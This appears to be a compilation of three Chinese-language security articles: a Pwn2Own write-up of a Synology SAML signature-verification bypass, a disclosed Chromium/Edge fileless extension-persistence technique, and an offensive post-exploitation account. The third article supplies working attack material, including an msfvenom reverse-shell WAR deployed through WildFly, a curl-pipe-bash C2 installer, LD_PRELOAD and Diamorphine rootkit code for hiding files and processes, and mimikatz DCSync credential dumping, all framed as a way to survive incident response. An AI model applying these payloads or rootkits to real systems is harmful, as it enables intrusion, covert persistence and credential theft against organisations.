if (!signable->getSignature())
throwstd::runtime_error("getSignature is null");
verifySignature(signable->getSignature());
	[...]
for (opensaml::saml2::Assertion* assertion : assertions) {
if (this->verifyMode == "assertion" || this->verifyMode == "both")
verifySignature(assertion->getSignature());
	[...]
}

这里，开发者隐含地假设 verifyMode的值总是三个选项之一：{"response", "assertion", "both"}。因此，如果 verifyMode持有任何不在这三个选项中的值，签名验证步骤就会被完全绕过。verifyMode的值在 SSOSAMLClient构造函数中赋值。查看 SSOSAMLClient构造函数，如果 readSAMLConfig返回 false，构造函数会提前返回，使对象的属性保持为默认的空字符串或 false。

readSAMLConfig：

boolSSOSAMLClient::readSAMLConfig(Json::Value& out)
{
staticconstchar* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    RunAs guard(0, 0, "sso_saml.cpp", 494);
if (SLIBCFileExist(kConfPath)) {
if (SLIBCFileExist(kConfPath) == 1) {
if (!out.fromFile(kConfPath)) {
syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
throwstd::runtime_error("failed to load json file");
            }
        }
if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
returntrue;
    }
    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
returnfalse;
}

__int64 __fastcall SYNO::SSO::SSOSAMLClient::readSAMLConfig(SYNO::SSO::SSOSAMLClient *this, Json::Value *a2)
{
  // [...]
  if ( (unsigned int)SLIBCFileExist("/usr/syno/etc/ssoclient/saml.conf") ) 
  {
    // 从文件加载配置
    return 1LL;
  }
  else
  {
    // 返回默认配置
    Json::Value::Value((Json::Value *)v29, "");
    v11 = Json::Value::operator[](a2, "sso_saml_enable");
    Json::Value::operator=(v11, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "SAML");
    v12 = Json::Value::operator[](a2, "saml_name");
    Json::Value::operator=(v12, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v13 = Json::Value::operator[](a2, "saml_idp_entity_id");
    Json::Value::operator=(v13, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v14 = Json::Value::operator[](a2, "saml_idp_signin_url");
    Json::Value::operator=(v14, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v15 = Json::Value::operator[](a2, "saml_acs_url");
    Json::Value::operator=(v15, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v16 = Json::Value::operator[](a2, "saml_idp_certificate");
    Json::Value::operator=(v16, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v17 = Json::Value::operator[](a2, "saml_valid_date");
    Json::Value::operator=(v17, v29);
    Json::Value::~Value((Json::Value *)v29);
    Json::Value::Value((Json::Value *)v29, "");
    v18 = Json::Value::operator[](a2, "saml_idp_certificate_expired");
    Json::Value::operator=(v18, v29);
    Json::Value::~Value((Json::Value *)v29);
    // [...]
    return 0LL;
  }
}

当 /usr/syno/etc/ssoclient/saml.conf不存在时，verifyMode 为 ""，这使我们能够绕过签名验证。只要系统上从未启用过 SAML SSO，这个文件就不存在。从 samlAuth到 SSOSAMLClient构造函数再到 verifySamlResponse追踪执行流程，没有任何地方检查 SAML SSO 是否实际启用。

从这里开始，我们只需要构造一个合法的 SAML Response。verifySamlResponse中检查的大多数元素只是表面验证，很容易满足。唯一的例外是 Issuer，在第 8 步检查（在第 10b 步对每个 Assertion 有类似条件），它必须非空。

此后，Issuer必须通过与从 SSOSAMLClient获取的 Issuer的比较。由于 SSOSAMLClient的 Issuer 值将为 ""，我们在 SAML Response 中提供的 Issuer 值也必须等于 ""。一个同时为空和非空的 Issuer 不可能存在。然而，幸运的是，Issuer 在比较之前会经过 trim 处理： 在这种情况下，只包含一个 <空格>的 Issuer 值将满足条件，并在经过 trim()函数后变为 ""。此时，这只是 C++ 中标准的字符串比较。由于两个值现在都是 ""，我们自然通过了这个检查。尽管我们现在已经满足了所有要求，但登录仍然会失败：这是由于 samlAuth中第 3步的检查：

bool qualified = std::strchr(samlUser.c_str(), '\\')
		  || std::strchr(samlUser.c_str(), '@');
if (!qualified && !client.m_allowLocalUser) {     // [3]
syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
"saml_auth.cpp", 40, samlUser.c_str(), realName);
return2;
}

我们在 SSOSAMLClient中的 saml_match_local_user当前设置为 false，这意味着此时我们只能登录 LDAP 或 AD（Active Directory）账户。根据 ZDI 的要求，提供预先已知的用户名被认为是不切实际的，因此不可接受。然而，ZDI 确实接受默认 AD 管理员账户遵循 <NetBIOS>/Administrator格式这一事实。NetBIOS 名称可以通过在 Synology NAS 上枚举轻松获取。一旦以管理员身份成功登录，就有多种方式利用各种管理员特权功能实现 RCE。

完整图景

整个漏洞是一系列小假设的完美串联。以下是端到端的完整面貌。

SAML 端点即使在 SAML SSO 从未配置过的情况下也是活跃的。samlAuth、SSOSAMLClient构造函数和 verifySamlResponse中都没有检查该功能是否实际启用。

缺失的配置静默退化为不安全的默认值。如果 /usr/syno/etc/ssoclient/saml.conf不存在，readSAMLConfig返回 false，构造函数提前退出，所有字段保持零值：空字符串和 false。这意味着 verifyMode为 ""，saml_match_local_user为 false。

意外的 verifyMode值完全禁用了签名验证。检查仅在 verifyMode为 "response"、"assertion"或 "both"之一时执行。开发者没有处理 fallthrough 情况，因此 verifyMode == ""完全跳过了签名检查。你可以伪造一个没有有效签名的 SAML Response。

唯一的严格检查被规范化击败。Issuer必须非空，但也必须等于客户端的 Issuer，即 ""。这看起来是矛盾的——直到你看到 Issuer在比较前会经过 trim()处理。一个单空格的 Issuer 通过了非空检查，然后塌缩为 ""，同时满足两个条件。

最后一道关卡缩小了目标但并未关闭它。由于 saml_match_local_user设置为 false，本地账户被拒绝，只允许包含 \或 @的用户名（LDAP/AD 用户）。默认 AD 管理员 <NetBIOS>\Administrator符合条件，而 NetBIOS 名称在 Synology NAS 上可以轻易枚举得到。

在任何从未启用 SAML SSO（默认状态）且使用 AD 或 LDAP 的 Synology DS925+ 系统上，未经身份验证的攻击者可以伪造一个未签名的 SAML Response，完全跳过身份验证，并以域管理员身份登录。RCE 随之可通过任何管理员特权功能实现。

根本原因不是某一行代码。一个被禁用的功能仍然可达。配置加载失败时默认为不安全的值而非拒绝继续。未被识别的验证模式被视为"跳过验证"而非"拒绝"。每个假设都很小。但合在一起，它们构成了一个完整的预认证绕过。

结语

虽然有点遗憾——我发现漏洞的时间太晚，来不及办好签证到现场体验比赛氛围，但这对我来说仍然是一次成功的 Pwn2Own 参与。感谢 @ngocquy0307 在挖洞过程中的合作和大量支持，感谢 @tuo4n8 在整个比赛期间的支持，感谢 @lemauanhphong 帮助我将这个漏洞带到比赛中，最后同样重要的是，衷心感谢 Verichains 支持我参加比赛。

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

利用 Chromium 扩展架构中 ScriptCache 与磁盘文件夹不验证一致性的特性，实现无文件、EDR 规避的浏览器持久化，攻击后磁盘上不留任何恶意制品。

浏览器扩展是一个被低估的攻击面。它们在浏览器中原生运行，设计上即被信任，可以访问 cookie、网络请求以及用户访问的每一个页面——而大多数 EDR 甚至不会去检查它们。在后渗透场景中，一个作为 agent 运行的恶意扩展对标准终端安全工具来说几乎是不可见的。

在这篇文章中，我发布 GAP（Ghost Anchor Persistence，幽灵锚点持久化）——我在个人研究中发现的一种无文件持久化技术。GAP 利用 Chromium 系浏览器的一个架构特性，在浏览器内实现持久的任意 JavaScript 执行——攻击完成后文件系统上不留任何恶意制品。

---

前置工作 — 基于 stomp

如果你还没读过关于 stomp 的前一篇帖子，简短版是这样的：可以通过操作 Secure Preferences文件并正确重算 HMAC，强制将一个浏览器扩展安装到 Chromium 系浏览器中。在 GPO 限制的环境中，这甚至也能奏效——方法是伪装成白名单扩展的 ID。

这个技术很有效，但有一个明显的局限：恶意扩展文件夹留在磁盘上，目标用户下运行的任何进程都可以读取它。SOC 分析师或有文件系统监控的 EDR 会发现它。

GAP 彻底消除了这一制品。

---

三个关键组件

要理解 GAP，你需要了解 Chromium 内部如何管理扩展。涉及三个相互独立的组件：

Secure Preferences— 一个用 HMAC 签名的 JSON 文件，存储已安装扩展的列表、它们在磁盘上的路径以及相关元数据。

C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Service Worker Registration database— 一个持久化 service worker 注册信息的 LevelDB 数据库。当带有后台 service worker 的浏览器扩展首次加载时，Chromium 会写入一条注册条目，将扩展作用域映射到其脚本 URL 和一个内部 version_id。该数据库在架构上独立于磁盘上的扩展文件夹。

Service Worker\Database\

ScriptCache— Chromium 存储已编译 service worker 脚本的目录，以从脚本 URL 派生的哈希作为索引。ScriptCache 仅在三种特定条件下失效：HTTP cache-control 信号、显式的 unregister()调用，或通过官方扩展更新机制触发的版本号变更。替换磁盘上的扩展文件夹不会触发失效。

Service Worker\ScriptCache\

关键洞察：浏览器启动时会检查扩展文件夹在磁盘上是否存在，但不验证 ScriptCache 中的缓存脚本与该文件夹中当前文件是否匹配。

---

攻击原语

GAP 需要两个共享相同 ID 的扩展——由 stomp 的 --spoof选项生成：

• Extension A

  ：具有功能性后台 service worker 的恶意扩展

• Extension B

  ：文件名相同但脚本内容为空的良性扩展

感染链分为四步：

1. 部署 A：使用 stomp 注入 extension A。Edge 在 Secure Preferences中注册 A 的 ID 并解析其文件夹路径。

2. 触发注册：打开并关闭浏览器。这一步是必须的：它会促使 Chromium 在 Service Worker\Database\中注册 A 的 service worker，并在 ScriptCache中缓存其编译后的 background.js。跳过这一步会中断整个链条。

3. 用 B 覆盖：运行 B 的 inject.bat。Secure Preferences被覆盖：扩展 ID 现在解析到 B 的良性文件夹。Service Worker Registration database 和 ScriptCache 不受影响。

4. 移除 A：从磁盘删除 A 的文件夹。磁盘上只剩下 B 的良性文件夹。文件系统上没有恶意制品。

下次浏览器启动时：Edge 将扩展 ID 解析到 B 的文件夹，找到该作用域的已有 Registration，确认文件夹存在，然后从 ScriptCache 加载 A 的恶意脚本。幽灵锚点持久化建立完成。

Secure Preferences    Extension ID → folder B (benign, on disk)
                                   |
                          existence check only
                                   |
Service Worker DB      Registration of A (version_id unchanged)
                                   |
                            cache key lookup
                                   |
ScriptCache            Compiled background.js of A [EXECUTING]

---

为什么 ScriptCache 永远不会失效

chrome-extension://协议不携带 HTTP 头，因此 cache-control 验证不适用。stomp 操作期间不会调用 unregister()，因此 Registration 持续存在。由于 extension A 和 B 共享相同的 ID，更新机制不会检测到版本号变更。

缓存键 —— chrome-extension://<ID>/background.js—— 永久有效。Edge 在每次启动时都会加载 A 的恶意编译脚本，永远如此。

---

红队价值

从后渗透角度来看，GAP 特别有用，因为：

• stomp 之后磁盘上任何时候都没有恶意文件。

  唯一的制品是 B 的良性文件夹，内含空脚本和 manifest。静态分析得不到任何东西。

• 没有新进程。

  service worker 在 Edge 现有的渲染器进程基础设施内执行，与合法扩展活动无法区分。

• 通过标准 HTTPS 的 C2。

  流量归属于 msedge.exe，混入正常浏览器活动中。

• 经受一切考验。

  浏览器重启、系统重启、浏览器更新——全部验证通过。

• 在 AD + GPO 环境中有效。

  结合 stomp 的 --spoof选项，GAP 绕过通过组策略强制执行的扩展白名单策略。

• 无需管理员权限。

  在攻击链的每个阶段，标准用户权限就足够了。

在后台 service worker 中运行的 agent 可以访问：cookie 窃取（chrome.cookies.getAll()）、键盘记录、截图捕获（tabs.captureVisibleTab()）、凭据窃取、网络代理，以及通过 scripting.executeScript()动态注入内容脚本——这就是无需任何静态文件依赖即可投递页面级载荷的方式。

---

负责任披露

2026 年 4 月 2 日向 Microsoft MSRC 提交了漏洞报告（Case #112111）。Microsoft 确认并进行了调查。他们的评估是：该技术未达到安全更新的门槛，理由是需要本地访问权限作为前提。

关于前提条件这一点确实合理——但在受信任浏览器进程内运行的无文件、EDR 规避持久化原语，在企业环境中是一个有意义的后渗透风险。修复方案很简单：在 ScriptCache 条目及其对应的文件系统制品之间实现内容完整性验证。

POC

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

一套三层持久化架构（C2 HTTPS 隧道 + Diamorphine LKM + LD_PRELOAD rootkit）在一次完整事件响应中幸存，管理员重置 8 台服务器后骨干节点依然在线。

一套三层持久化架构（C2 HTTPS + Diamorphine LKM + LD_PRELOAD rootkit），在一次完整的事件响应中幸存。管理员重置了 8 台服务器，骨干节点依然在线。

---

0x00 持久化的问题

谁都经历过这种事。你拿到一个目标的访问权限，配好反向 shell，坐下来准备干活，结果 2 小时后管理员重置了一切。凭据轮换了，进程被杀了，日志清了。一切从零开始。

这很令人沮丧，但这就是大多数渗透测试项目的现实。初始访问很容易。维持访问才是真正的问题。

这篇文章讲的是一个例外。我搭建了一套三层持久化架构，在一次完整的事件响应中幸存了下来。管理员检测到了活动，重置了大约 8 台服务器，轮换了所有凭据，但骨干节点自始至终保持在线。靠的是架构设计的好。

三层中的任何一层都不是为了单独隐形而设计的。思路是每一层覆盖前一层的主要弱点。如果一层被发现，其余层仍然可以维持访问。

---

0x01 场景

混合企业环境：Linux 承担重活，Windows Server 2016 作为 AD DC，SQL Server，WildFly 跑 Java 应用，PostgreSQL 做后端。目标有 SOC，终端装了 Kaspersky Endpoint Security，Kaspersky Security Center 作为中央控制台。虽然 KSC 的许可证过期了，但终端上 EDR 仍然在运行。

挑战是：在这样一个环境中，明知 SOC 迟早会检测到你，如何维持访问？

简短的回答：不要把一件东西藏好。把三件东西用不同的方式藏起来，让蓝队不得不打赢三场独立的赛跑。

三层架构概述：

---

[ 0x02 ] 如何进入 — WILDFLY JMX CONSOLE

在搭建三层架构之前，我得先进入目标。初始向量是 WildFly。

WildFly 是一个 Java 应用服务器。管理控制台在 9990 端口，在这个案例中它直接暴露在没有反向代理的保护下。凭据很弱，不是默认密码，但属于那种出现在任何企业字典里的类型。

WildFly 的特别之处在于：管理控制台允许你通过 API 部署 WAR 文件。WAR 是一个 Java web 包。如果你把一个 JSP 反向 shell 放进 WAR 里，然后通过 management API 部署，你就获得了以 WildFly 运行用户身份的 RCE。

# 生成带 reverse shell 的 WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<relay> LPORT=443 -f war -o shell.war
# 通过 management API 部署
curl -u <user>:<senhinha> -X POST \
  http://target:9990/management \
  -H "Content-Type: application/json" \
  -d '{"operation":"add","address":[{"deployment":"shell.war"}],"content":[{"url":"file:///tmp/shell.war"}],"json.pretty":1}'

额外收获：管理控制台会显示已配置的 datasource，凭据是明文的。

PostgreSQL DS: postgres/prod@app#all@<ip>:5432/<table>

你不需要读取文件就能看到数据库密码。WildFly 把这些保存在 standalone.xml里，设计上就是明文。这不是 bug，是 feature。不过我怀疑这不是管理员想要的 feature。至少对我来说是一个绝妙的 feature。

---

[ 0x03 ] 提权 — 从 WILDFLY 到 ROOT

以 wildfly用户（uid 1001，非 root）身份获得 RCE 是个起点，但不足以加载 LKM。insmod需要 root 或 CAP_SYS_MODULE。

先做基本侦察：

id                  # uid=1001(wildfly)
uname -r            # x.y.z-generic
cat /proc/version   # Linux version x.y.z... gcc a.b.c
ls /lib/modules/    # 确认 headers 可用

内核版本较新，如果有正确的 capability 就支持 LKM 加载。但我没有。

运气在于 /etc/ld.so.preload对 wildfly组可写。这是包管理器的配置错误——某个包在安装时给文件设置了错误的权限，没人注意到。通常确实没人注意到这种事。

这个攻击向量的完整 trick 见：https://pwnd.blog/tricks/ld-preload-privesc

ls -la /etc/ld.so.preload# -rw-rw-r-- 1 root wildfly 0 Jan 01 2023 /etc/ld.so.preload

有了 /etc/ld.so.preload的写权限，通向 root 的路就很直接了。写一个 hook setuid()的 library：

// rootkit.c — hook setuid() 用于提权
#define_GNU_SOURCE
#include<dlfcn.h>
#include<unistd.h>
#include<sys/syscall.h>
intsetuid(uid_t uid) {
if (uid == 0) {// 通过直接 syscall 执行真正的 setuid，绕过 libc
syscall(__NR_setuid, 0);
return0;
    }
return ((int (*)(uid_t))dlsym(RTLD_NEXT, "setuid"))(uid);
}

这段代码的作用：library 替换了 libc 中的 setuid函数。当 su或 sudo运行时，它会加载这个 library（因为 ld.so.preload是系统级的）。当 su在验证密码后调用 setuid(0)时，hook 拦截了这次调用并直接向内核发起 syscall。内核允许这次操作，因为 su是 SUID root，进程本身已经在以 root 身份运行了。library 只是确保调用能到达内核，中间没有任何 libc 的额外验证。

编译并安装：

gcc -shared -fPIC -o /usr/lib/x86_64-linux-gnu/libnss_files_compat.so rootkit.c
echo"/usr/lib/x86_64-linux-gnu/libnss_files_compat.so"> /etc/ld.so.preload# 现在所有调用 setuid(0) 的二进制都变成 root# 名字 "libnss_files_compat.so" 伪装为合法的 NSS module

名字很重要。NSS modules（Name Service Switch）是合法的 library，位于 /usr/lib/x86_64-linux-gnu/。libnss_files.so.2是解析 /etc/hosts和 /etc/passwd的默认模块。libnss_files_compat.so看起来像是这个模块的一个 "compat" 变体。管理员扫一眼 ls /usr/lib/x86_64-linux-gnu/不会对一个叫 NSS module 名字的 library 起疑。

有了 root，现在可以加载 Diamorphine 了：

insmod /tmp/.d/diamorphine.ko
lsmod | grep diamorphine    # 空 — 模块加载即隐藏
cat /proc/modules | grep diamorphine   # 空

然后把所有东西重命名为 __rk_前缀：

mv /tmp/.d /tmp/__rk_d
mv /usr/lib/x86_64-linux-gnu/libnss_files_compat.so /usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so
echo"/usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so"> /etc/ld.so.preload

接下来就是见证奇迹的时刻：

ls /tmp/ | grep rk       # 空
find / -name "__rk_*"# 空（diamorphine hook 了 getdents）
cat /etc/ld.so.preload   # 显示路径但文件在 ls 中不可见

你刚刚从地图上消失了。但这只是层级 2 和 3。还缺层级 1。

---

[ 0x04 ] 层级 1 — 隐形隧道（C2 HTTPS）

第一个问题是网络。出站过滤只允许 443 和 80 端口的外出流量。4444 端口的传统反向 shell？想都别想。自己的 VPN？没有预置的基础设施。

解决方案是一个自定义 C2，采用 relay-based 架构。不同于 operator 直接连接 target，两端都向同一个 relay 发起出站连接：

[target .113] --HTTPS--> [relay SRS] <--HTTPS-- [operator]
            outbound              outbound

• Target 向 relay 发起出站 HTTPS 连接

• Operator 也向 relay 发起出站连接

• Relay 通过一个共享 secret（32 字符 base64）配对两端

• 通过 stdin/stdout piping 实现双向隧道

• Target 上没有监听端口

也就是说：target 从不打开任何端口。netstat、ss、lsof，什么都看不到。流量是 443 端口上的出站 HTTPS，通过防火墙时就像在访问一个普通网站。合法的 SNI，TLS 1.3，DPI 看不到内容。

对蓝队来说，看起来这台服务器在访问 AWS 上的某个网站。因为从技术上讲确实如此——只不过在 HTTPS 之下跑着一个交互式 shell。

# 在 target 上静默部署
curl -fsSL https://meu.c2.incrivel/ | bash# 脚本下载二进制，重命名为 kworker_tls，移到 /usr/sbin/# 记录生成的 secret（32 字符）# 通过 cron @reboot 持久化，无可见 crontab# operator 端
c2-client /bin/bash# 通过 relay 的交互式反向 shell

让这套方案奏效的关键细节：C2 二进制被重命名为 kworker_tls。如果有人运行 ps aux看到 kworker_tls，会以为这是一个内核 worker thread。名字很普通，没有已知的签名，二进制里没有可疑字符串。

它能通过检测的原因：

• 无监听端口 — netstat -tlnp、ss -tlnp什么都看不到

• 仅出站连接 — 绕过防火墙入站规则

• TLS 1.3 加密 — DPI 看不到内容

• 合法 SNI — 显示为发往 Cloudflare/AWS 的流量

• 无明显二进制 — 重命名为 kworker_tls，被 LD_PRELOAD 隐藏

• 无可见 crontab — 通过 /etc/cron.d/__rk_c2持久化（被 diamorphine 隐藏的文件）

但仅仅重命名还不够。如果有人运行 ls /usr/sbin/ | grep c2，还是能找到。这时候层级 2 就登场了。

---

[ 0x05 ] 层级 2 — 撒谎的内核（DIAMORPHINE LKM）

Diamorphine 是 m0nad 开发的开源 LKM rootkit。LKM = Loadable Kernel Module。它是一个你用 insmod加载的内核模块，从那一刻起就活在内核里，可以访问一切。

Diamorphine 具体做的事：hook syscall table。Syscall table 本质上是内核暴露给用户态的函数列表。当你运行 ls时，ls调用 getdents()这个 syscall。Diamorphine 把这个 syscall 替换成自己的版本，过滤掉结果。

Diamorphine 在现代内核（5.7+）上的问题是 kallsyms_lookup_name不再被导出。这原本是 rootkit 用来查找 syscall table 地址的函数。解决方案是通过 kprobe绕过：

staticunsignedlong *p_sys_call_table;
staticstructkprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
register_kprobe(&kp);
p_kallsyms_lookup_name = (unsignedlong*)kp.addr;
unregister_kprobe(&kp);
p_sys_call_table = (unsignedlong*)p_kallsyms_lookup_name("sys_call_table");

也就是说：你在 kallsyms_lookup_name符号上注册一个 kprobe，内核给你地址，你注销 kprobe，然后用这个地址直接调用函数。丑陋但有效。从那一刻起你就有了 syscall table 的地址，可以替换其中的条目。

主要的 hook 有三个。第一个在 sys_kill上，Diamorphine 用"秘密"信号作为命令：

asmlinkage longhacked_kill(pid_t pid, int sig) {
if (sig == 31) {  // 隐藏 PID 为 pid 的进程
structtask_struct *p = find_task_by_vpid(pid);
if (p) p->flags |= PF_INVISIBLE;
return0;
    }
if (sig == 63) {  // 切换模块可见性
        module_hidden = !module_hidden;
if (module_hidden) list_del(&module_list);
elselist_add(&module_list, &__this_module.list);
return0;
    }
if (sig == 64) {  // 获取 root
structcred *new = prepare_creds();
new->uid = new->gid = 0;
new->euid = new->egid = 0;
commit_creds(new);
return0;
    }
returnorig_kill(pid, sig);
}

也就是说：kill -31 <pid>隐藏一个进程。kill -63切换模块自身在 lsmod中的可见性。kill -64 <pid>给任意进程瞬间赋予 root。没用过 diamorphine 的话，知道这些就够了 :p

第二个 hook 在 sys_getdents上，它让文件消失：

asmlinkage longhacked_getdents64(unsignedint fd, structlinux_dirent64 *dirp, unsignedint count) {
int ret = orig_getdents64(fd, dirp, count);
if (ret <= 0) return ret;// 过滤带 __rk_ 前缀的条目
structlinux_dirent64 *d;
int offset = 0;
while (offset < ret) {
        d = (void*)dirp + offset;
if (strncmp(d->d_name, "__rk_", 5) == 0) {// 移除条目：移动缓冲区
memmove(d, (void*)d + d->d_reclen, ret - offset - d->d_reclen);
            ret -= d->d_reclen;
continue;
        }
        offset += d->d_reclen;
    }
return ret;
}

实际效果：任何带 __rk_前缀的文件从所有目录列表中消失。ls /tmp/不显示。find / -name "__rk_*"返回空。文件在磁盘上确实存在，但内核对所有询问的程序撒谎。代码做的事情很简单——在返回给用户态之前，从结果缓冲区里移除对应条目。程序收到的是不含 __rk_条目的缓冲区，甚至不知道少了什么。

第三个 hook 是 PF_INVISIBLE：Diamorphine 在被隐藏的进程上设置 task_struct->flags |= PF_INVISIBLE。然后 hook /proc上的 sys_getdents来过滤带这个 flag 的任务。进程继续运行，继续消耗 CPU，继续持有打开的 socket，但对系统其余部分来说它不存在。

实际使用：

# 查找 C2 的 PID
pgrep kworker_tls# 示例：145301# 隐藏进程
kill -31 145301# 现在 ps, htop, top, auditd 都不显示# 切换模块（在 lsmod 中隐藏/显示）
kill -63 145301# 给任意进程 root
kill -64 <pid># 即时 uid=0(root)，无需 sudo

注意：如果你对 C2 自身的 PID 发送 kill -31，C2 会崩溃。Diamorphine 的 signal hook 和 C2 的 SSL errno 处理之间存在不兼容。对 C2 的 PID 发 kill -31会以 SSL_rselect_errno崩溃。解决方案很简单：之后再隐藏进程，永远不要直接对它发信号。

另一个注意事项：LKM 是为特定内核版本编译的。apt upgrade会搞坏一切。如果管理员更新了内核，rootkit 就不再工作。但这不太重要，因为如果管理员更新内核，他大概率在重装整台服务器。

还有内存取证。/sys/module/diamorphine如果不显式隐藏，它仍然存在。而且 Volatility 的 linux_hidden_modules插件即使模块被隐藏也能找到。但这需要内存转储，需要一个知道自己在做什么的人，需要时间。实际中，几乎没人在 IR 期间做这件事。

---

[ 0x06 ] 层级 3 — 幽灵文件系统（LD_PRELOAD）

Diamorphine 在内核层隐藏东西。但有个问题：如果管理员运行一个静态编译的二进制呢？静态编译的 Busybox 不经过 libc，它直接发 syscall。那又怎样？Diamorphine 的 hook 能捕获到，因为它在内核里，没错。但如果有另一个 rootkit 检测器呢？

解决方案是冗余。LD_PRELOAD 是动态链接器的一个变量，它会在所有其他 library 之前加载一个 library。如果你把自己 library 的路径放到 /etc/ld.so.preload，系统上所有动态二进制都会在任何其他东西之前加载它。

这个 library hook 了 readdir、access、open、fopen、stat、lstat、unlink。任何列出、打开或删除带 __rk_前缀文件的尝试都返回 ENOENT（文件不存在）：

// rootkit.c — 隐藏带 __rk_ 前缀的文件
#define_GNU_SOURCE
#include<dlfcn.h>
#include<string.h>
#include<dirent.h>
#include<errno.h>
#definePREFIX"__rk_"// hook readdir — 在目录列表中隐藏条目
structdirent *readdir(DIR *dirp) {
structdirent *(*orig_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
structdirent *d;
while ((d = orig_readdir(dirp)) != NULL) {
if (strncmp(d->d_name, PREFIX, 5) == 0) continue;
break;
    }
return d;
}// hook access, open, fopen — 对 __rk_ 文件返回 ENOENT
intaccess(constchar *path, int mode) {
if (strstr(path, PREFIX)) { errno = ENOENT; return -1; }
return ((int (*)(constchar*, int))dlsym(RTLD_NEXT, "access"))(path, mode);
}
FILE *fopen(constchar *path, constchar *mode) {
if (strstr(path, PREFIX)) { errno = ENOENT; returnNULL; }
return ((FILE *(*)(constchar*, constchar*))dlsym(RTLD_NEXT, "fopen"))(path, mode);
}

ls走 libc，libc 调 readdir，readdir被 hook 了，hook 过滤掉 __rk_文件然后正常返回其余结果。rm尝试对一个 __rk_文件调用 unlink()？返回 ENOENT。"文件未找到"。试 stat？ENOENT。试 open？ENOENT。

持久化：

echo"/usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so"> /etc/ld.so.preload# 现在所有动态二进制都加载 rootkit# ls, find, cat, rm, grep — 全部被 hook

你会问：但如果管理员运行 cat /etc/ld.so.preload，他能看到 library 的路径。这不是很明显吗？

确实能看到。但路径指向的是 libnss_files_compat.so。NSS modules 是合法的 library，位于 /usr/lib/x86_64-linux-gnu/。libnss_files.so.2是解析 /etc/hosts和 /etc/passwd的默认模块。libnss_files_compat.so看起来像是这个模块的一个 "compat" 变体。管理员扫一眼 ls /usr/lib/x86_64-linux-gnu/不会起疑。（而这正是我们希望的。）

好吧……那如果他试 rm /usr/lib/x86_64-linux-gnu/libnss_files_compat.so呢？unlink()被 hook 了，返回 ENOENT。"文件未找到"。他试 ls看不到这个名字的文件（因为已经被重命名为 __rk_libnss_files_compat.so，被 hook 隐藏了）。管理员的结论："奇怪，我以为这里有个文件。大概是错觉吧。"

ld.so.preload里的 library 名字指向不带 __rk_的路径。磁盘上的真实文件名带 __rk_。Hook 隐藏了真实文件。cat读取 ld.so.preload显示路径，但如果你对不带 __rk_的路径试 stat或 access，同样返回 ENOENT。这是一个没有一块拼图能拼上的谜题。

细节：静态二进制（比如 busybox static）不受 LD_PRELOAD 影响。如果管理员下载一个静态 busybox 然后运行 ls /tmp/，他会看到 __rk_文件。但实际中，管理员不会在日常操作中这么做。就算做了，那些文件只是名字带 __rk_，内容并不明显。

---

[ 0x07 ] ACTIVE DIRECTORY — DCSYNC 和 PTH

有了 Linux 骨干节点的访问权限，我通过 Impacket 枚举了 AD。老一套：

# 匿名 LDAP
GetADUsers.py -dc-ip <target ip>-all 'target.bem.legal/'# 数百个用户，DC: domain1.target.bem.legal# SMB 共享枚举
smbclient -L//<target ip>-N# NETLOGON, SYSVOL, ADMIN$, C$# SYSVOL GPO 分析# 数十个 GPO，部分含 Preferences — 无 cpassword（GPP 密码）# Lookupsid
lookupsid.py -no-pass'target.bem.legal/'# SID: S-1-5-21-xxxxxxxxxx-xxxxx-xxxxxx

DCSync 是值得展开讲讲的技术。当你拥有 Domain Admin 权限（或者一个有 DS-Replication-Get-Changes-All权限的账户），你可以模拟 Domain Controller 的行为，要求真正的 DC 复制所有凭据。DC 会服从，因为它以为自己在和另一个 DC 通信。

实际操作：

mimikatz.exe"lsadump::dcsync /domain:domain2.target.bem.legal/ /user:krbtgt""exit"
# Hash NTLM krbtgt: xxxxxxxxxxxxxxx
# AES256: xxxxxxxxxxxxx
mimikatz.exe"lsadump::dcsync /domain:domain2.target.bem.legal/ /all /csv""exit" > dump.txt
# 提取了数百个 NTLM 哈希